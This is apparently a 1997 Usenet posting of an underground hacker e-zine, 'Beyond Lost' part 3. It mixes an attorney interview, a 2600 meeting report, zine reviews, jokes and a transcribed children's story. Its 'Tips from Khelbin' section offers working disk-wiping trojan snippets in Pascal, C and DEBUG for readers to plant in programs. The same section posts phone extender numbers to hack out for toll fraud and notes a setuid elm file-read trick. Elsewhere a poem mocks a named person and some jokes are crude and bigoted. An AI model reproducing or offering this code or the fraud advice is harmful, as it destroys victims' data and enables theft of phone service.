X-Google-Language: ENGLISH,ASCII X-Google-Thread: 105a39,2233504b44eabead,start X-Google-Attributes: gid105a39,public X-Google-Thread: 111659,2233504b44eabead,start X-Google-Attributes: gid111659,public X-Google-Thread: fa148,2233504b44eabead,start X-Google-Attributes: gidfa148,public X-Google-Thread: 10bb54,2233504b44eabead,start X-Google-Attributes: gid10bb54,public X-Google-Thread: f996b,2233504b44eabead,start X-Google-Attributes: gidf996b,public X-Google-Thread: 100a3b,2233504b44eabead,start X-Google-Attributes: gid100a3b,public X-Google-Thread: 113e84,2233504b44eabead,start X-Google-Attributes: gid113e84,public X-Google-Thread: 11507b,2233504b44eabead,start X-Google-Attributes: gid11507b,public From: rybread@cshore.com (Rybread Celsius) Subject: Beyond Lost 3/3 Date: 1997/02/01 Message-ID: <5cvt5j$t0f@beast.connix.com> X-Deja-AN: 213747875 organization: Connix - The Connecticut Internet Exchange newsgroups: alt.2600,alt.philosophy,comp.lang.pascal.borland,alt.ascii-art,alt.fan.cult-dead-cow,alt.slack,alt.punk,rec.games.video.atari,alt.zines >I first heard about you from your add in 2600. Do you read 2600 and if so >any general opinions on it and how its going (decling)? also how long have >you been reading it? I read 2600 to see what the latest techniques are and what the latest consensus is in the hacker community. 2600 has a number of qualified and impressive contributors, but it also allows a lot of yahoos who merely want to see what they wrote in print, regardless of the fact that it has no value. I have read 2600 only for the past year. I monitored it across the web for about 2 years prior to that. >I gotta know your opinons on the Bernie S. saga, especially what you thoguht >of the transcripts printed in 2600. I can only say that much of what I have heard reported by various hackers & underground magazines should be taken with a grain of salt. Much of what they report is from an uneducated or misinformed viewpoint. You have to remember the federal judiciary is a very meticulous and structured beast. I have yet to come across anything like it at the state level. There are formal hearings for EVERYTHING! The protocol used leaves no room for informality. So it looks to many who are unaccustomed to this environment as if it is a kangaroo court, which it is not. You really have to listen to both sides. Somewhere in the middle ground is the truth. By saying that I do not mean to discount the reports regarding Bernie, merely that you have to carefully consider who says what. As to the reports of the Secret Service: I am not surprised. The Secret Service's responsibilties have grown tremendously over the past decade. They are now required to keep up with a high tech area which only a handful of them truly understand. They take their job seriously. And at times, too seriously. You must remember when any law enforcement agency is challenged, as with almost any person, they get bent out of shape, bow up and FIGHT. So it does not surprise me that there were some agents who did not fully understand the equipment that was involved and what Bernie S. was doing with it. And when he challenged them, they intended on coming out on top. Lesson here? When confronted by law enforcement always take a submissive posture and say NOTHING! Let your attorney handle things. >An opinions on the EFF? They are doing a great job - particularly covering legislation that has an impact on computers and the Internet. It seems that both state and federal legislators are enacting stupid laws regarding computers just so they can be politically correct or known for their "great" service. But most do not consider the ramifications and create a quagmire when the law slams into reality. The EFF has done a great job of not only tracking this, but also of getting involved. More power to 'em. >An opinions on the PGP? The program is great! It will certainly help me in my job by providing certification and authentication for computer evidence. Phil Zimmerman is quite remarkable. He developed this incredible program AND he made it freeware. I think he has moved in the right direction by creating a company, marketing his product, and making money. I firmly believe he will do well in the coming years. The USPS is talking about doing the same thing, but they can't even handle snail mail. What do they think they can do? Make the Internet slower? I believe there is a strong possibility that PGP will become the de facto industry standard. >Time for some pulp stuff, what are your favorite URLs and the like? I don't believe I have a particular favorite URL. I do enjoy visiting car manufacturers' websites. I also like to visit Edmunds to see the latest features, costs, specs on various cars. I generally just bounce around visiting law-oriented sites, technology sites, and whatever else I might run into. I get the biggest kick out of paranormal websites. I love to see where UFOs have landed and are setting up the new world order. Heck, maybe they'll even make me President or something. >Where do you see technology going? Wow. The possibilities are almost endless. Especially when you consider where we were 10 - 15 years ago. I remember when I was astounded at seeing a 10 megabyte hard drive on an IBM PC XT. Now we have computers with 1000 times the power. 2 gigabyte capacity hard drives. ISDN lines. SVGA graphics. Laptops that weigh under 7 pounds. I am excited to see what is going to be available just in the next 5 years. _____ =STATS= Name: Dorsey Morrow Jr Handle: E-Mail: cyberlaw@mont.mindspring.com Schooling: BS degree in CIS JD degree Worked on a Masters in MIS but have not completed. Age: 30 Maritial Status: Married. 1 child. [Sorry ladies! :) ] Free advice: If you are ever arrested or asked "a few questions" by law enforcement - do not answer anything without an attorney, no matter what they promise you. I have had more clients tell me that the cops said they would go easy on them if they would just tell them what happened. Don't believe that. Favorite movie: Any Star Trek movie. Favorite food: Pizza. 1011100000101010101101Why ASCII Strips Don't Work by Rybread110100011101101110 ___ A Differant Type of SuperHero: Super Zero! � o \ Not too be confused with PBS Man. ����- Land planes on his head! /����b Marvel at his ASCII threadz. //�� See him hitchhike to go places! // ���> ���> Watch him sniff glue! See? It just don't work. If any k-rad ASCII artists want to proove me wrong and submit there ASCII strip, you know how to reach me. PPP 222 PPP Points 2 rednoP Has anyone ever actually been to an abandoned warehouse? I've been to many and still have not seen any smugglers, super villians, Quentin Tarrintino, or any other sort of bad guys. Funk dat. If you were to die, why would you give all your stuff up? Wills are crap, your dead, so what do you care, and if there is an afterlife then maybe the Eyptians were right: you can take it with you. Added bonus, 100 years later someone robs your grave and you get in the paper as being remembered for being ecentric. What the hell would happen if Superman got prostate cancer? 60% of men who live "full" lives get it. That's over half! Hehe, bet thats worse then a shot of kryptonite. If farmers were nazi's, would barbers be the gypsies? What the hell is wrong with having hairy palms? Oh, yeah. Nevermind. My driveway is very, very flat. Yet when it rains, huge puddles dot it like it was made of limestone. What's it do, cushion the water? If there was a mosquito the size of an elephant and it impaled someone with AIDS would it get the virus? People with herpes deep down their throat prolly swallow. People shouldn't kick the shit out of people who still were briefs, cause getting hit repeatidly with a hammer sucks. 2222222 6 00 00 22222222 00 33333 2 6 0 0 0 0 2 0 0 3 :: 2 66 0 0 0 0 in 2 0 0 333 2 6 6 0 0 0 0 2 0 0 3 :: 22222222 6666 00 00 22222222 00 3333 January by Khelbin ------------------------------ Background on the Meriden 2600 ------------------------------ The Meriden 2600 meeting first appeared in the Autumn, 1995 issue of "2600: The Hacker Quarterly." For those who are unaware of what 2600 meetings are, I would recommend visiting www.2600.com. The meetings did not last very long as the IIRG, a Connecticut-based hacking group, withdrew support of the meeting. The quality of the meetings quickly deminished although there still were a few meetings which were somewhat worthwhile. In the "last" meeting which took place at Meriden, a person in attendace called in a phony bomb threat and there was a "mysterious" gentleman in suit and tie who asked many questions, took notes, and reportedly was seen entering a "Employees Only" room after the meeting was over. While this was a huge discouragement to the overall underground scene, it was not the only thing which took the meetings out of commision. Obviously the IIRG had reasons other than this for withdrawing and I myself noticed a lack of true hacker-related discussion going on. It just seemed like "another place to hang out". ------------ 2600 is Back ------------ After a long absense due to the previously mentioned problems, the IIRG decided to again attend/sponsor the 2600 meetings in Meriden. The first of these meetings was held in January and February promises yet another meeting (see IIRG Net 2600 base, www.2600.com, or other for meeting information). -------------- Will it Stand? -------------- Will the meeting be able to withstand time? That is entirely up to the people who attend the meetings but could there be a moral to the first downfall of Meriden's 2600? In my opinion, here are a few things which hurt it that aren't as compelling as the bomb threat and the possibility of a fed: * Lack of h/p discussion and questions being asked. * Lack of attendance. * Isolation. This is when one sits with the same two people for the whole meeting. I know we feel more comfortable with those that we know, but c'mon! * "Let's go hang out at the 2600 meeting. I think it's for people that are on bbs' to go and just shoot the shit about whatever goes on in your life and just to have fun. Since h/p shit ain't that fun I think we'll just try to meet new people to party with." ---------------------- Things to Improve Upon ---------------------- * What happens after the meeting can be just as important as what happens at the meeting. I do think we started trashing more after the meetings started up but I'm sure some other stuff could be organized (hint: I'm not bitching here because no one is going to organize something for you. I think the 'initiative' talk has already been given). * Any of the things I mentioned in the previous section's list that are still present fall into the 'Improvement' category. I also think we should have some cool games and shit like they have at some of the cons. Hacker Jeopardy, Spot the Fed, and others. That would rock. And some chicks would be nice too.. yea, chicks. And we could have fire, and killer dogs that will attack anything that sucks, and we could kick all the lamers asses and then hack into that one places computer so that they give us free rootbear floats like the one Black_IC had. That would be cool. ()()()()()()()()()()()()()()()()()()()()()()()()()()()( }"Poor Little Aculard" a Poem About The Lame by Spy Tech{ )()()()()()()()()()()()()()()()()()()()()()()()()()()() Poor little Alucard, a Hacker Wanna-Be Connecticut's Number One Lamer, the perfect nominee. He watched the movie "Hackers", he was sure he could be "Elite" But he found out in the "Real World", he really couldn't compete. Thomas Icom tried to help him, but Alucard stabbed him in the back The little boy has no honor, he will never learn to hack So let him rant and rave, like a little girl he'll whine To bad he's like his father, a lying little swine. [This sums up the story of Aculard (Dracula backwords, scary) pretty much.] [Perhaps at a later date the whole story will be presented. ] <-----------------> |Tips from Khelbin|----------* * * <-----------------> Here's a simple trojan in Pascal. Just incorporate the following line of code into your program. inline($B0/$02/$B9/$FF/$00/$BA/$00/$00/$CD/$26); {C:} - - - - - - - - - - - - - - - - - - - - - - - - - - - Here's a simple trojan in a far superior language... C abswrite(2, 5, 0,(void *) 0); The next line will lock up a computer. lock: goto lock; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Ok, Threez. I know you wanted a schematic for just a simple project that makes a noise which you can change yourself. I'm not a great electronics person myself but if you have a 10k resistor, 1k resistor, a PNP transistor, a .047 uF ceramic disk capacitor, a 100 uF Electrolytic capacitor, a 0.1 uF ceramic disk capacitor, a variable resistor, and some wires and a box to put it in, mail me and I'll tell you how. That stuff shouldn't cost you much and I forgot your email address but I'm sure you'll read this super-k-rad mag! [So will 2,000 others.] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - sprint wats extenders: 1-800-877-8000 950-1033 If anyone wants to hack out some of these I'll trade you k0dez do you can call ld boards to get more w4r3z. oh wait, those are 'k0dez' right? Well, I need them for something more important then free warez or free phone calls so I'll give you two k0dez for one so you can jizz over twice as many warez.. ok? [Khelbin's isn't usually this witty...] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Oh, here's something cool I found you might want to check. In unix, elm should not be setuid except for setuid mail on some platforms. I know almost everyone that will read this probably has an account on connix and they don't have this bug ( ...uh.. anymore. tnx to me) so don't bother. Anyways, elm has a file include flag (elm -i) which will include a file into your edit buffer. If elm was to be setuid root, I could then read any file on the system. exploit: elm -i - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - Here's another little destructive peice of code in DOS DEBUG.EXE w 1 2 1 100 Enter that at the - prompt and slam enter.. don't do this on a computer you want to use at all though. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - THE CULT OF THE DEAD COW HAS BELCHED! (and now we shall review this hoyl methane.) Reviewed by Rybread General Notes: I was but too happy to snag these files when they came out. I've graded them 1-10 on the bases of the other cDc files, with a 5 actually being average, not a 7. The average of these ten new files is 5.9, and that seems about right. Only a couple of hum dingers and no real stink pots, but a couple that we're slightly smelly. The bottom header has remains the same as the 95 and 96 one, sadly absent of any BBS numbers, though I'm aware that some of them are still up. Now to the feast, in reverse order cause thats the way, uh-huh uh-huh, I like it, uh-huh uh-huh. cDc 330 Happyland Cell Block 90210 by G. Allen Perry Hmm.. I guess they saved the worst for last. While not hideous or geometric, this one is defintly on the poor side. It consists of an odd type of prison, which we really don't get too see as the story is very small. Only a a hint of the classic cDc sodomy can be found within. ** cDc 329 Quadro-Pounder by Drunkfux Call me a glutton for 3l1t3 speach, but I really liked this one. How tough can it be for a carnivorious young fellow to order something his way? Well, of course he does it with elite speek! Short, humerous and has a great moral at the end. ******* cDc 328 Pantslessness by Mark Buda Classic Cow with a hefty thesaurus! I wish it was longer. ********* cDc 327 Vulnerabilities in the S/KEY One-Time by Mudge Almost anytime the Cult does a H/P file, its usually purty good and this time is no exception. It does a good job of explaining its topic in normspeach and has slightly humerous examples. I'm just not sure how useful this would be to everyone on the whole. ***** cDc 326 The Great Southern Fire God by John Crow Good prose, but slightly boring leaving me wondering why I should care about the point. A good definition of an average cDc file. ***** cDc 325 Zen of Skateboarding, Part 3: Flowing Stream by Thoai Tran I've only ever skimmed the other parts, so from an individual view on this file I can say I really enjoyed it!! I plan on reading the fist two parts after I'm done with this review. The chaos theroy explained via the art of skateboarding. ******** cDc 324 Painted Stranger by Weasel Boy This one is an Oreo cookie. Weak start, GREAT middle, weak ending. The part I like in the middle is where it touches on the mana theroy, that man creates god and the like, but it ends with an attempt at serious incest memories and cliches. Incest usually works in cDc but not when it's serious. **** cDc 323 CYBERsitter by Peacefire Some propiganda against yet another Web Censor. Some valid points, but I've heard it all before and know that censorship sucks, esp. when it malifunctions (won't allow you to visit things to do with the Hollow-Cost). Some nice specifics were brought up, but was this really needed? *** cDc 322 Pariah '67 by Matt Brown A "Make you think about your own self" story, with nice dissecting interludes throughout. What would you of done? Also, football was mentioned and no shower sodomy. ****** cDc 321 Nineteen Seventy-Seven by OXblood Ruffian The best was first, but reviewed last. Yeah. OXblood is truly one of the Cult's most gifted writers and relativy new. I hope he never stops his great insights, even if I don't agree with everything a lot of the stuff are pure gems of nihilistical wit. A great look from 1977-84 with scary things about Elvis and thoughts on the futer. Great stuff. ********** ruaculteruaculteruaculteruaculteruaculteruaculteruaculteruaculteruaculteruacul * *Philosophy with Khelbin * Today I will proove that the statement "Anything is possible" is logically incorrect. Saying "anything is possible" is the equivilant of saying "nothing is impossible". From "nothing is impossible", we can draw a conclusion that "it is impossible for anything to be impossible". We have just come to an extreme contradiction. Lets look at that statement closely: "it is impossible for anything to be impossible" It is obviously a false statement because you are saying something is impossible while you are also saying nothing is impossible at the same time. Hence, people who say "nothing is impossible" are either full of shit or the world is in big trouble. [I've had that on my old web page for almost a year now...] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - || CONTEST Ode to Atari Programmers //\\ Premise: Remember your Atari 2600? Did you realize that most of those games fit on a 4k chip? That's 4096 charecters! Combat, with its 32 built-in variations, was on a 2k chip. We challenge you to: Rulez: 1) Write a game 4096 (4k) bytes or less 2) It can be the compiled version, just the code or have to be run with special software. 3) Mail it to rybread@anok4u2.org with "4k" in the subject line. 4) Also you may have two lines for instructions or whatnot, like where to FTP stuff that may be needed to play it. 5) Myself and some selected judges will choose 3-5 to appear in the next issue, or maybe issue 3 where the whole wide world will be able to choose who has made the best mini-game. 6) Let Guam be with you. 7) There will be a prize. Just not sure what yet :) Classical Children's Literature =--=--=--=--=--=--=--=--=--=--= Cream of Creature from the School Cafeteria By Mike Thalet Illus. by Jared Lee ISBN 0-380-89862-4 Avon Camelot "A Snuggle & Read Story Book" 1985 Transcribed by Rybread in 14 minutes with but a mere 4 typos! Pictures Stripped Notes Follow It was lunchtime. Our class walked slowly toward the cafeteria, holding our noses. We could smell the food all the way down the hall. It was making funny noises. We opened the cafeteria door. We took our trays and were about to line up... when we backed away from the lunch counter in horror! The food was moving!! It burbled and glurped in the pans. Then it slurped out of the pans, over the side of the counter, and across the cafeteria floor. It was coming at us!!! We through our lunch trays in the air and ran out the door. Mrs. Crumb, the cook, ran out of the cafeteria, shouting at the food. She tried to hit it with a serving spoon. The food blurped over her white shoes and she was gone. We ran into the main office. "Call the sheriff, call the sheriff!" we all shouted. "Now what's wrong?" said Mrs. Bagley the principal. "The food is after us!" we screamed. "Now, now," said Mrs. Bagley, opening the office door and stepping out. "There's absolutely nothing to..." GLURP! She never finished her sentence - she just disappeared into the bubbling green. We ran into her office and locked the door. Through the glass we could see the food eating all the safety posters. We dialed the sheriff. Soon we heard his siren. He burst in, took out his gun, and told the food not to move. The food moved. He shot three bullets at it. "Blup, blup, blup!" The food liked the bullets. It happily burbled and chased the sheriff all the way out of the school. We dialed the fire department. A big red engine roared up. The food was eating the flagpole. The firemen unrolled a huge hose and squirted the food with water. The food splashed merrily and took a bath. We dialed the army. A jeep pulled up. Four soldiers jumped out with flame throwers. They turned the flames on the food. The food warmed up, it bubbled over boots, and they were all eaten by a /hot lunch/! We dialed the air force. Soon two jet planes roared overhead. The pilots spotted the food for our jungle gym. They each dropped a bomb on the food. But the food just burped, then ate the jungle gym, the slides, and all our swings. We all screamed. Then we thought of Mickey. "Mickey is the only one who can save us. Mickey will eat anything!" We found Mickey licking the snack machine. We told him what had happened. He smiled. He walked calmly to the center of the playground. He sat down in front of the food - and took out two spoons. The food burbled, and out came Mrs. Crumb. The food burbled again, and out came Mrs. Bagley. The food burbled a third time, and out came the safety posters and the soldiers. The food looked at Mickey. Mickey looked at the food. It burbled and glurped and slithered toward him. Closer...Closer... Mickey's spoons flashed in the sunlight, and... HE ATE IT! HE ATE IT ALL!! HE ATE IT ALL UP!!! Then he licked his spoons, twirled them, out them back in his pockets, and asked for seconds. We all cheered. The mayor came. He gave Mickey a bright medal for saving the school. Mickey looked at medal, smiled, and ate it. The End Notes: I got this book in 1986 at a school book fair and have treasured it since then. Tis quite a nifty-q book and Jared Lee's illustrations are very good and I recommand picking the book up if you can. It's a steal at $2.50 U.S. dollars. I kept all gramatical stuff the same, using "/" to represent words in /italics/. The only thing I changed is paragraphing as the book was kinda lacking of it. This talented team also produced another book involving mastication entitled A HIPPOPOTAMUS ATE THE TEACHER, but I have yet to aquire it. The Minutes of 203: ------------------ The Facts Date Comments Scoop changes handle and all laugh at him. 1-1-97 Now Prof. Crane Binary gets new truck after long campaign. 1-3-97 But it doesn't work yet IIRG revives 2600 in CT. 1-3-97 Its ok, not great Onslaught is now part of IIRG 1-7-97 Congrats! Prof. Crane morphs back to Scoop 1-15-97 Much rejoicing Next Issue and Stuff + Thanx: No clue. Maybe more people will help out. Possibly a St. Jude interview and an update on CT 2600. Umm... if you have any HPA questions you can ask Khelbin, as we want to put up a Q&A HPA section creativly titled "Ask Khelbin". Ann Landers run for your life. We still need more staff and wouldn't mind someone donating a mailbot to take care of subscribers, or a good FTP site. Oh, did anyone notice that no line goes beyond 78 charecters? I've decided to make this EDIT friendly! Also big thanks to The Hac for lettign me reprint his one week old tutorial here. With its UUed stuff, it makes up 40% of the zine. Not sure if that makes me happy or sad. Also call Digital Underground BBS 281-1265. Umm.. this file should end with 666 bytes. Lets see. More delusions at the very end. L8r b e y o n d _ _ _ __ ___ _______ _ _ _ __ ___ ___________ _ _ __ ___ ______|: |_____________________________ |_______ _ _ _ __ ___ ____ |: ___/ __/ __/ _______/ |: |: | |: |: , |: |: | |: |: |: |: |: |____|: |: | |: |: |: |: |____ |: |: |: | |: |: |: |: |: |: |: |: | |: |: |: |: |: |: |: |: | _ _ _ __ ___ ____|: |_ |__ |: |__ |: | i! _ _ _ __ _________________/___________/__________/__________/ Mast Head Editor: Rybread (rybread@anok4u2.org) H/P/A "Guy": Khelbin (khelbin@connix.com) ASCII Logoist: Internal Stalker (internal@connix.com) Demo "Guy": Space available for column or whatnot. Really want someone here. If you want to write anything or have an idea for a column or whatever, just e-mail it me at rybread@anok4u2.org with "submission" in the subject line. We will print game and app reviews, other zines and URLs. Your own crippled imagination is the limit. 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